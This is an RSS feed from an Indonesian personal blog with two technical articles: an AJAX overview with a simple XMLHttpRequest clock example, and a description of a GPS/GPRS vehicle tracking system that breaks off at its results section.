<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Andi Sunyoto Personal Blog &#187; Jurnal</title>
	<atom:link href="http://www.andisun.com/category/jurnal/feed" rel="self" type="application/rss+xml" />
	<link>http://www.andisun.com</link>
	<description>andi&#124;blog</description>
	<lastBuildDate>Wed, 28 Dec 2011 12:24:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Overview AJAX (Asynchronus JavaScript and XML)</title>
		<link>http://www.andisun.com/jurnal/overview-ajax-asynchronus-javascript-and-xml</link>
		<comments>http://www.andisun.com/jurnal/overview-ajax-asynchronus-javascript-and-xml#comments</comments>
		<pubDate>Tue, 15 Sep 2009 22:05:00 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[Asynchronus]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=481</guid>
		<description><![CDATA[AJAX is not a new programming language, but a technique for creating better, faster, and more interactive web applications. With AJAX, your JavaScript can communicate directly with the server, using the JavaScript XMLHttpRequest object. With this object, your JavaScript can trade data with a web server, without reloading the page. AJAX uses asynchronous data transfer (HTTP requests) between the browser and the web server, allowing web pages to request small bits of information from the server instead of whole pages. The AJAX technique makes Internet applications smaller, faster and more user-friendly. Web applications have many benefits over desktop applications; they can reach a larger audience, they are easier to install and support, and easier to develop. However, Internet applications are not always as "rich" and user-friendly as traditional desktop applications. With AJAX, Internet applications can be made richer and more user-friendly.]]></description>
			<content:encoded><![CDATA[<p>by: Andi Sunyoto</p>
<p style="text-align: center;"><strong>Abstraksi</strong></p>
<p style="text-align: center;"><em>AJAX is not a new programming language, but a technique for creating better, faster, and more interactive web applications. With AJAX, your JavaScript can communicate directly with the server, using the JavaScript XMLHttpRequest object. With this object, your JavaScript can trade data with a web server, without reloading the page. AJAX uses asynchronous data transfer (HTTP requests) between the browser and the web server, allowing web pages to request small bits of information from the server instead of whole pages. The AJAX technique makes Internet applications smaller, faster and more user-friendly. Web applications have many benefits over desktop applications; they can reach a larger audience, they are easier to install and support, and easier to develop. However, Internet applications are not always as &#8220;rich&#8221; and user-friendly as traditional desktop applications. With AJAX, Internet applications can be made richer and more user-friendly.</em></p>
<p><em> </em></p>
<p>Key Word: AJAX, Internet, JavaScript, XML, Asynchronus</p>
<h1>1      Pengenalan AJAX</h1>
<p>AJAX diperkenalkan oleh Jesse James Garret dari Adaptive Path pada tahun 2005. Ia mendeskripsikan bagaimana mengembangkan web yang berbeda dengan metode tradisional. Ia mempublikasikan sebuah artikel yang berjudul <em>“AJAX: A New Approach to Web Applications”</em>. Pada artikelnya, Garret yakin bahwa aplikasi web dapat menutup jurang pemisah antara web dan aplikasi desktop.</p>
<p>Pengembangan web secara tradisional bekerja secara <em>synchronously</em><em>,</em> antara aplikasi dan server, setiap kali melakukan link atau melakukan operasi “submit” pada form. Caranya, browser mengirim data ke server, server merespons dan seluruh halaman akan di refresh.</p>
<p>Aplikasi web yang bekerja dengan AJAX bekerja secara <em>asynchronously</em>, yang berarti mengirim dan menerima data dari user ke server tanpa perlu me-load kembali seluruh halaman, melainkan hanya melakukan penggantian pada bagian web yang hendak diubah. Penggunaan AJAX mulai popular ketika digunakan oleh Google pada tahun 2005.</p>
<p>AJAX bukanlah bahasa pemrograman baru, tetapi merupakan teknik baru penggunaan standar yang telah ada. Dengan AJAX kita dapat menjadi lebih baik, cepat dan menambah unsur user-friendly dan interaktif pada aplikasi web kita. AJAX berbasiskan pada JavaScript dan request HTTP.</p>
<p>AJAX berbasiskan standar terbuka seperti:</p>
<ul>
<li>JavaScript</li>
<li>XML</li>
<li>HTML/XHTML</li>
<li>CSS</li>
</ul>
<p>Dengan menggunakan JavaScript AJAX dapat mengirim dan menerima data antara web server dan web browser. Teknik yang dimiliki AJAX akan bergantian bertukar data dan mere-load ulang seluruh halaman.</p>
<p>Dengan demikian, untuk mempelajari AJAX, harus dipahami pula konsep standar di atas. AJAX di-support sebagian besar browser popular sehingga aplikasi AJAX adalah aplikasi <em>cross-platform</em> dan <em>cross-browser</em>.</p>
<p>Melalui AJAX, JavaScript dapat dikomunikasikan secara langsung dengan server menggunakan obyek JavaScript XMLHttpRequest. Obyek JavaScript ini dapat men-<em>trade</em> data sebuah web server tanpa harus me-<em>reload</em> <em>(refresh</em><em>)</em> halaman web.</p>
<p>AJAX menggunakan <em>asynchronouse</em> data transfer (pada HTTP request) antara browser dan web server, yang memperbolehkan halaman web me-request bit yang kecil atau seluruh informasi dari server. Teknik AJAX membuat aplikasi internet menjadi kecil, cepat dan lebih user-friendly.</p>
<p>AJAX adalah aplikasi web yang lebih baik. Aplikasi web menambah keuntungan dibanding aplikasi desktop:</p>
<ul>
<li>Dapat  menjangkau pengguna yang luas</li>
<li>Mudah diinstal</li>
<li>Mudah dikembangkan</li>
<li>Mudah dipelihara</li>
</ul>
<p>Seperti yang kita ketahui, aplikasi internet tidak selalu susah dan user friendly seperti aplikasi dekstop. Dengan AJAX aplikasi internet semakin kecil, cepat dan mudah digunakan.</p>
<h1>2      Model-Model Web</h1>
<h2>2.1    Model Tradisional</h2>
<p>Yang dimaksud dengan model tradisional di sini adalah model yang sering digunakan tanpa AJAX. Pertama, browser membuat sebuah HTTP request dikirim ke server, misalnya /index.html.</p>
<div id="attachment_482" class="wp-caption aligncenter" style="width: 445px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/ajax_arsitektur_model_tradisional.png"><img class="size-full wp-image-482" title="ajax_arsitektur_model_tradisional" src="http://www.andisun.com/wp-content/uploads/2009/09/ajax_arsitektur_model_tradisional.png" alt="Arsitektur model tradisional" width="435" height="137" /></a><p class="wp-caption-text">Arsitektur model tradisional</p></div>
<p>Pada model ini, server mengirimkan response berisi seluruh halaman termasuk header, logo, navigasi, footer, dll. Ketika mengklik next maka akan menampilkan halaman baru lagi (artinya, header, logo, footer, navigasi dikirim ulang) dan seterusnya akan mengirimkan data halaman baru lagi setiap diminta request dari user.</p>
<p>Halaman seperti ini tidak masalah ketika data yang ditampilkan tidak memerlukan response yang cepat. Namun, akan menjadi masalah jika user menginginkan response yang cepat, misalnya ketika dipilih <em>drop-down</em> tertentu maka data yang ditampilkan berubah menurut nilai dari <em>drop-down</em>.</p>
<p><span id="more-481"></span></p>
<h2>2.2    Model AJAX</h2>
<p>Perlu diingat, AJAX akan berkomunikasi dengan server tanpa harus me-refresh semua halaman. Konsep ini berbeda dengan aplikasi web sistem tradisional. Dalam model AJAX, aksi dari sisi klien dibagi menjadi dua bagian, yaitu layer user interface dan layer AJAX.</p>
<div id="attachment_483" class="wp-caption aligncenter" style="width: 445px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/ajax_arsitektur_model_ajax.png"><img class="size-full wp-image-483" title="ajax_arsitektur_model_ajax" src="http://www.andisun.com/wp-content/uploads/2009/09/ajax_arsitektur_model_ajax.png" alt="Arsitektur model AJAX" width="435" height="114" /></a><p class="wp-caption-text">Arsitektur model AJAX</p></div>
<p>Ketika user mengklik sebuah link atau mengirimkan sebuah form maka input tersebut akan ditangani oleh layer AJAX dan diinteraksikan dengan server, kemudian meng-update user interface (UI). Jadi, dalam AJAX, interaksi UI secara logika terpisah dengan interaksi jaringan.</p>
<p>Pendekatan yang digunakan AJAX adalah bagaimana mengirimkan jumlah data yang kecil dari dan ke server atas request dari user. Model aplikasi web tradisional di mana browser akan merespons sendiri atas inisialisasi request, memproses request dari web server. Dalam AJAX terdapat layer yang diberi nama “AJAX engine” untuk menangani komunikasi. “AJAX Engine” adalah sebuah obyek JavaScript atau function yang dipanggil ketika informasi diperlukan dari server.</p>
<p>Proses yang dilakukan mesin AJAX <em>(AJAX Engine</em><em>)</em><em> </em><em>adalah </em>menerima respons dari server, melakukan parsing data dan melakukan sedikit perubahan untuk keperluan menampilkan informasi. Oleh karena proses mengirimkan sedikit informasi, jika dibanding dengan model aplikasi web tradisional maka user interface di-update lebih cepat dan user mampu melakukan pekerjaannya dengan cepat.</p>
<p>Beberapa poin penting untuk menggambarkan AJAX:</p>
<ul>
<li>Layer AJAX tidak memerlukan komunikasi dengan server (contohnya untuk validasi form karena dapat ditangani sepenuhnya oleh <em>client-side</em>).</li>
<li>Oleh karena request antara layer AJAX dan server berupa bagian kecil dari informasi (tidak komplit satu halaman) maka sering digunakan untuk interaksi dengan database sehingga waktu render dan waktu pengiriman menjadi pendek.</li>
<li>Layer UI secara langsung tergantung pada respons server sehingga user dapat melanjutkan interaksi dengan sebuah halaman selama aktivitas dikerjakan di background <em>(</em><em>background process</em><em>)</em><em>.</em> Berarti, untuk beberapa interaksi, waktu tunggu user hampir tidak ada.</li>
<li>Komunikasi antarhalaman dan server tidak selama memerlukan AJAX untuk mengubah perubahan UI. Contoh, beberapa aplikasi menggunakan AJAX  untuk notifikasi dengan halaman, tetapi tidak melakukan apa pun terhadap response dari server.</li>
</ul>
<h1>3      Teknologi di Balik AJAX</h1>
<p>Teknologi AJAX di dalamnya meliputi beberapa komponen, yaitu:</p>
<div id="attachment_484" class="wp-caption aligncenter" style="width: 306px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/ajax_teknologi_dibawah_ajax.png"><img class="size-full wp-image-484" title="ajax_teknologi_dibawah_ajax" src="http://www.andisun.com/wp-content/uploads/2009/09/ajax_teknologi_dibawah_ajax.png" alt="Teknologi dibalik AJAX" width="296" height="285" /></a><p class="wp-caption-text">Teknologi dibalik AJAX</p></div>
<ul>
<li>XHTML <em>(</em><em>Extensible HyperText Markup Language</em><em>)</em><em> </em>adalah bahasa markup seperti HTML, tetapi dengan gaya bahasa lebih baik. XHTML digunakan membuat halaman web dan dokumen-dokumen lain yang dapat ditampilkan dalam browser. XHTML merupakan standard internasional dengan spesifikasi yang ditetapkan oleh W3C <em>(</em><em>World Wide Web Consortium</em><em>)</em><em>.</em> Versi terakhir saat tulisan ini dibuat adalah HTML 2.0.</li>
<li>CSS <em>(</em><em>Cascading Style Sheets</em><em>)</em> adalah sebuah mekanisme sederhana untuk memberikan style (seperti font, warna, jarak spasi, dll) kepada dokumen web yang ditulis dalam HTML atau XML (termasuk beberapa variasi bahasa XML seperti XHTML dan SVG).</li>
<li>JavaScript adalah bahasa scripting kecil, ringan, berorientasi-objek dan lintas platform. JavaScript tidak dapat berjalan dengan baik sebagai bahasa mandiri, melainkan dirancang untuk ditanamkan pada produk.</li>
<li>DOM <em>(</em><em>Document Object Model</em><em>)</em> adalah sebuah API <em>(</em><em>Application Program Interface</em><em>)</em> untuk dokumen HTML dan XML. DOM menyediakan representasi dokumen secara terstruktur, dimungkinkan untuk  mengubah isi dan presentasi visual. Pada dasarnya, DOM menghubungkan halaman web dengan script atau bahasa pemrograman.</li>
<li>XML <em>(</em><em>Extensible Markup Language</em><em>)</em><em> </em>adalah bahasa markup untuk keperluan umum yang disarankan oleh W3C untuk membuat dokumen markup keperluan khusus. Keperluan utama XML adalah untuk pertukaran data antarsistem yang beraneka ragam.</li>
<li>XSLT <em>(</em><em>Extensible Stylesheet Language Transformations</em><em>)</em> adalah sebuah bahasa berbasis-XML untuk transformasi dokumen XML. Walaupun proses merujuk pada transformasi, dokumen asli tidak berubah melainkan dokumen XML baru dibuat dengan basis isi dokumen yang sudah ada. XSLT biasanya digunakan untuk mengubah skema XML ke halaman web atau dokumen PDF.</li>
<li>Objek XMLHttpRequest berkemampuan melakukan pertukaran data secara asinkron dengan web server. AJAX menggunakan obyek XMLHttpRequest untuk melakukan pertukaran data dengan web server.</li>
<li>JSON <em>(JavaScript Object Notation</em><em>)</em> yaitu format pertukaran data komputer yang ringan dan mudah. Keuntungan JSON dibandingkan dengan XML adalah pada proses penerjemahan data menggunakan Javascript. Javascript dapat menerjemahkan JSON menggunakan built-in procedure eval().</li>
</ul>
<p>Dalam kenyataannya, semua teknologi dapat digunakan untuk AJAX, tetapi hanya tiga yang dibutuhkan: HTML/XHTML, DOM dan JavaScript. XHTML ternyata diperlukan untuk menampilkan informasi, sedangkan DOM diperlukan untuk halaman XHTML tanpa di-reload ulang.</p>
<p>JavaScript dibutuhkan untuk komunikasi <em>client-server</em><em>, sementara</em> manipulasi DOM untuk meng-update halaman web. Teknologi lain digunakan agar AJAX lebih bagus, tetapi bukan merupakan hal yang pokok. Untuk pembuatan aplikasi agar lebih <em>powerful</em> maka AJAX dapat digabung dengan aplikasi <em>server-side programming</em> seperti PHP, ASP, Java servlet atau .NET.</p>
<h1>4      Pengguna AJAX</h1>
<p>Beberapa web komersial sudah menggunakan teknologi AJAX untuk menaikkan pelayanan terhadap user. Berikut beberapa contoh web yang menggunakan AJAX.</p>
<ul>
<li>Google Suggest: <a href="http://www.google.com/webhp?complete=1" target="_blank">http://www.google.com/webhp?complete=1</a></li>
<li>Gmail: <a href="http://www.gmail.com" target="_blank">http://www.gmail.com</a></li>
<li>Google Maps: <a href="http://maps.google.com" target="_blank">http://maps.google.com</a></li>
<li>Yahoo! News: <a href="http://news.yahoo.com" target="_blank">http://news.yahoo.com</a></li>
<li>Bitflux Blog: <a href="http://blog.bitflux.ch" target="_blank">http://blog.bitflux.ch</a></li>
<li>dll</li>
</ul>
<h1>5      Keistimewaan AJAX</h1>
<p>AJAX sebagai sebagai teknik pemrograman baru memiliki beberapa keistimewaan. Keistimewaan AJAX antara lain:</p>
<ul>
<li>Membuat permintaan kepada server tanpa memuat kembali <em>(</em><em>reload</em><em>)</em><em> </em>halaman.</li>
<li>Mengurai <em>(</em><em>parse</em><em>)</em> dan bekerja dengan dokumen XML dan atau JSON.</li>
<li>Data yang dikirim sedikit sehingga menghemat bandwidth dan  mempercepat koneksi.</li>
<li>Proses dilakukan di belakang layar.</li>
<li>Banyak didukung oleh browser-browser modern yang popular.</li>
<li>Aplikasi yang dibangun semakin interaktif dan dinamis.</li>
</ul>
<p>Penggunaan AJAX akan mendatangkan beberapa keuntungan. Keuntungan tersebut antara lain.</p>
<ul>
<li><em>High Interactivity</em>: Aplikasi AJAX lebih interaktif dibanding dengan aplikasi web konvensional.</li>
<li><em>High Usability</em>: Update data tidak me-reload keseluruhan halaman, melainkan hanya yang relevan.</li>
<li><em>High Speed</em>: Aplikasi AJAX lebih cepat dibanding dengan aplikasi web konvensional</li>
</ul>
<h1>6      Contoh penerapan AJAX</h1>
<p>Berikut contoh penerapan AJAX. Pada penerapan ini ada dua file yang dibutuhkan, yaitu file HTML dan file PHP. Isi file JavaScript adalah sebagai berikut (time.html):</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p481code1'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p4811"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
</pre></td><td class="code" id="p481code1"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;body&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
function AJAXFunction()
  {
  var xmlHttp;
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
      }
    catch (e)
      {
      try
        {
        xmlHttp=new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
        }
      catch (e)
        {
        alert(&quot;Your browser does not support AJAX!&quot;);
        return false;
        }
      }
    }
    xmlHttp.onreadystatechange=function()
      {
      if(xmlHttp.readyState==4)
        {
        document.myForm.time.value=xmlHttp.responseText;
        }
      }
    xmlHttp.open(&quot;GET&quot;,&quot;time.php&quot;,true);
    xmlHttp.send(null);
  }
&lt;/script&gt;
&nbsp;
&lt;form name=&quot;myForm&quot;&gt;
&nbsp;
Name: &lt;input type=&quot;text&quot;
&nbsp;
onkeyup=&quot;AJAXFunction();&quot; name=&quot;username&quot; /&gt;
&nbsp;
Time: &lt;input type=&quot;text&quot; name=&quot;time&quot; /&gt;
&nbsp;
&lt;/form&gt;
&nbsp;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p>Sebelum menjalankan skrip di atas, perlu disiapkan dahulu skrip server side-nya. Skripnya adalah sebagai berikut (time.php):</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p481code2'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p4812"><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code" id="p481code2"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?</span>
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/date"><span style="color: #990000;">date</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:m:s'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Jalankan file “time.htm”, kemudian ketikkan username. Dengan demikian, setiap mengetikkan huruf di user name, jam langsung ter-update. Output program ketika dijalankan adalah sebagai berikut:</p>
<div id="attachment_485" class="wp-caption aligncenter" style="width: 416px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/tampilan_time_with_ajax.png"><img class="size-full wp-image-485" title="tampilan_time_with_ajax" src="http://www.andisun.com/wp-content/uploads/2009/09/tampilan_time_with_ajax.png" alt="Tampilan aplikasi jam dengan AJAX" width="406" height="165" /></a><p class="wp-caption-text">Tampilan aplikasi jam dengan AJAX</p></div>
<h1>7      Daftar Pustaka</h1>
<ul>
<li>Sunyoto, Andi., “<a href="http://www.andisun.com/buku/ajax-membangun-web-dengan-teknologi-asynchronous-javascript-dan-xml">AJAX: Membangun Web dengan Teknologi Asynchronouse JavaScript &amp; XML</a>”., Penerbit Andi., 2007</li>
<li>Castagnetto, Jesus., et.al., &#8220;Profesional PHP Programming&#8221;, Wrox Press, 1999.</li>
<li>Dubois, Paul., &#8220;MySQL: The Definitive Guide to Using, Programming, and Administering MySQL 4.1 and 5.0 Third Edition, 2005.</li>
<li>Eichorn, Joshua., &#8220;Understanding AJAX: Using JavaScript to Create Rich Internet Applications&#8221;, Prentice Hall, 2006.</li>
<li>Heilmann, Christian., &#8220;Beginning JavaScript with DOM Scripting and Ajax: From Novice to Professional&#8221;, Apress, 2006.</li>
<li>Langerstrom, Randles, Larry., &#8220;Programming the Web using XHTML and JavaScript&#8221;, McGraw-Hill, 2003.</li>
<li>W3Schools, &#8220;Learn PHP, Learn AJAX, Learn XML, Learn JavaScript, Learn XML and XHTML DOM, Learn MySQL&#8221;, www.w3schools.com, 2007.</li>
<li>Woychowsky, Edmond., &#8220;Ajax: Creating Web Pages with Asynchronous JavaScript and XML&#8221;, Prentice Hall, 2006.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/overview-ajax-asynchronus-javascript-and-xml/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mobile Tracking Memanfaatkan Teknologi Global Positioning System (GPS) dan General Packet Radio Service (GPRS)</title>
		<link>http://www.andisun.com/jurnal/mobile-tracking-memanfaatkan-teknologi-global-positioning-system-gps-dan-general-packet-radio-service-gprs</link>
		<comments>http://www.andisun.com/jurnal/mobile-tracking-memanfaatkan-teknologi-global-positioning-system-gps-dan-general-packet-radio-service-gprs#comments</comments>
		<pubDate>Tue, 08 Sep 2009 03:14:23 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[GPRS]]></category>
		<category><![CDATA[GPS]]></category>
		<category><![CDATA[J2ME]]></category>
		<category><![CDATA[NMEA]]></category>
		<category><![CDATA[Tracking]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=429</guid>
		<description><![CDATA[by: Andi Sunyoto ABSTRACT An integration of a GPS receiver module and GPRS for monitoring and tracking of vehicle position has been designed and implemented. The GPS receiver module is a equipment able to generate position data, but it unable to send the data position to the control system. A GPRS technology in mobGPile device [...]]]></description>
			<content:encoded><![CDATA[<p>by: Andi Sunyoto</p>
<p><em>ABSTRACT</em></p>
<p><em>An integration of a <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS receiver</a> module and GPRS for monitoring and tracking of vehicle position has been designed and implemented. The <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS receiver</a> module is a equipment able to generate position data, but it unable to send the data position to the control system. A GPRS technology in mobGPile device can transmit data over internet, so it can be used to transmit object position to control system in order to be monitored.</em></p>
<p><em>This research aims to build a system for monitoring and tracking the vehicle’s position. The system are divided into three parts: block I, block II and block III. Block I consist of two devices : A <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS receiver</a> module and a cellular phone running a java application (<a href="http://www.andisun.com/artikel/sekilas-java-2-microedition-j2me">J2ME</a>). The application is used to stream, parse and processed <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA</a> data from the <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS receiver</a> module before transmiting it to the control system (block II) over a GPRS connection. Block II consists of a web server and a database server for catching the data position sent from block I and store it in database server. Block III consists of visualization and monitoring application to visualize vehicle’s positions over the digital map. The last position of the vehicle data are taken from the database server.</em></p>
<p><em>The result of this research is an integration of two technologies that can be used to monitor and track of vehicles position. The success of the monitoring and tracking are dependent on : the <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA</a> data stream from the <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS receiver</a> module, the accuracy of <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS receiver</a> module and the digital map used by the system.</em></p>
<p>Key words : GPS, GPRS, NMEA, Tracking, J2ME</p>
<h1>1.  PENGANTAR</h1>
<p>Kasus yang membutuhkan mekanisme pemantauan posisi kendaraan semakin banyak, misalkan kasus dalam perusahaan taksi, distribusi barang, penyalahgunaan pemakaian mobil dinas dan sistem pengiriman BBM, barang pada perusahaan jasa.</p>
<p>Perusahaan maupun instansi biasanya menggunakan media komunikasi radio untuk mengetahui dengan menanyakan kepada pengemudi dimana posisinya. Jawaban yang diberikan pengemudi dijadikan dasar untuk mengetahui posisi kendaraan tersebut. Cara ini membuat data yang diberikan kadang tidak akurat, karena tergantung dari jawaban dari pengemudi.</p>
<p>Kemajuan teknologi penentuan lokasi seperti <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS <em>(Global Positioning System)</em></a> berkembang pesat dengan tingkat akurasi yang semakin teliti, bermacam variasi dan semakin murah. Posisi dapat diketahui jika membawa alat yang diberi nama <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps"><em>GPS receiver</em></a> yang berfungsi untuk menerima sinyal dari satelit GPS. <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS <em>receiver</em></a> berbentuk modul menghasilkan data <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA</a> yang berisi data posisi.</p>
<p>Perkembangan jaringan teknologi <em>(wireless)</em> khususnya <em>handphone</em> semakin pesat. Sebuah <em>handphone</em> tipe tertentu sudah dilengkapi fitur Java dan GPRS. Fitur Java memungkinkan menambahkan aplikasi yang dibangun dengan <a href="http://www.andisun.com/artikel/sekilas-java-2-microedition-j2me">J2ME</a>. Teknologi GPRS <em>(General Packet Radio Service) </em>dapat digunakan sebagai media pengiriman data secara nirkabel melalui koneksi internet.</p>
<p>Tracking kendaraan adalah mekanisme bagaimana memantau keberadaan kendaraan yang bergerak dan jalurnya di muka bumi. Pengertian bergerak dalam perpektif geografi adalah perpindahan posisi suatu obyek dari suatu koordinat ke koordinat lain. Tracking diperoleh dengan merekam data perpindahan tersebut. Penerapan sistem ini, pihak operator tidak perlu menanyakan ke pengemudi tentang posisinya.</p>
<p>Modul <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS<em> receiver</em></a> mempunyai karekteristik dapat menghasilkan informasi data posisi tetapi tidak dapat mengirimkan data tersebut dengan jarak jauh. GPRS sebagai teknologi komunikasi <em>wireless</em> dapat mengirimkan data melalui jaringan internet. Karakteristik yang dimiliki oleh <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS</a> dan GPRS dapat diintegrasikan untuk membangun sistem monitoring posisi dan tracking kendaraan.</p>
<h1>2.  CARA PENELITIAN</h1>
<p>Penelitian ini secara garis bersar dibagi menjadi beberapa blok, yaitu blok I, blok II, dan blok III. Pembagian masing-masing blok dapat dilihat pada gambar berikut.</p>
<div id="attachment_430" class="wp-caption aligncenter" style="width: 536px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_consept.png"><img class="size-full wp-image-430" title="mobile_tracking_consept" src="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_consept.png" alt="Pembagian komponen blok sistem" width="526" height="301" /></a><p class="wp-caption-text">Pembagian komponen blok sistem</p></div>
<h2>2.1 Komponen Blok I</h2>
<p>Pada Blok I berisi seperangkat GPS dan <em>handphone</em>. Blok I bertugas mengirimkan data posisi yang dibaca dari <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps">GPS</a> ke Blok II secara otomatis.</p>
<div id="attachment_431" class="wp-caption aligncenter" style="width: 502px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_user_blok.png"><img class="size-full wp-image-431" title="mobile_tracking_user_blok" src="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_user_blok.png" alt="Proses komponen blok I" width="492" height="252" /></a><p class="wp-caption-text">Proses komponen blok I</p></div>
<p>Modul <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps"><em>GPS receiver</em></a> dan <em>handphone</em> dikoneksikan menggunakan bluetooth, kemudian data posisi dari modul <a href="http://www.andisun.com/jurnal/menentukan-posisi-dengan-global-positioning-system-gps"><em>GPS receiver</em></a> diambil <em>handphone</em> melalui aplikasi <a href="http://www.andisun.com/artikel/sekilas-java-2-microedition-j2me">J2ME</a>. Aplikasi ini pertama mengambil data <a href="http://www.andisun.com/artikel/national-marine-electronics-association-nmea-0183-tipe-rmc">NMEA</a> tipe RMC. Data tersebut kemudian di <em>parsing</em> untuk dipisahkan antara data longitude, latitude dan kecepatan dikirimkan ke Web Server melalui jaringan GPRS. Gambar proses yang terjadi di Blok I dapat dilihat pada gambar di atas.</p>
<h2>2.2 Komponen Blok II</h2>
<p>Blok II berisi Web server dan Database server yang berfungsi menerima data dari Blok I. Proses yang terjadi pada Blok II dapat dilihat pada gambar berikut.</p>
<div id="attachment_432" class="wp-caption aligncenter" style="width: 283px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_server_block.png"><img class="size-full wp-image-432" title="mobile_tracking_server_block" src="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_server_block.png" alt="Proses komponen blok II" width="273" height="188" /></a><p class="wp-caption-text">Proses komponen blok II</p></div>
<p>Web server dilengkapi dengan pemrograman internet <em>server-side scripting</em> ASP untuk menangkap data posisi <em>(longitude dan latitude)</em>, kecepatan dan status yang dikirim dari Blok I.</p>
<p><span id="more-429"></span></p>
<h2>2.3 Komponen Blok III</h2>
<p>Blok III berfungsi memvisualisasikan posisi kendaraan di atas peta digital. Data posisi dan tracking kendaraan diambil dari database. Tipe koordinat yang digunakan pada MapObject (ActiveX untuk menampilkan peta) adalah D.d, sehingga data longitude dan latitude dari database (dalam bentuk DM.m) perlu dikonversi ke bentuk D.d. Data tersebut dijadikan dasar untuk memvisulisasikan posisi kendaraan yang diwakili dengan sebuah titik di atas peta digital yang telah diload dari file *.shp sebelumnya. Proses pada blok III dapat dilihat pada gambar 4.</p>
<p style="text-align: center;">
<div id="attachment_436" class="wp-caption aligncenter" style="width: 540px"><a href="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_admin_block.png"><img class="size-full wp-image-436 " title="mobile_tracking_admin_block" src="http://www.andisun.com/wp-content/uploads/2009/09/mobile_tracking_admin_block.png" alt="Komponen blok III" width="530" height="316" /></a><p class="wp-caption-text">Proses komponen blok III</p></div>
<h1>3.  HASIL DAN PEMBAHASAN</h1>
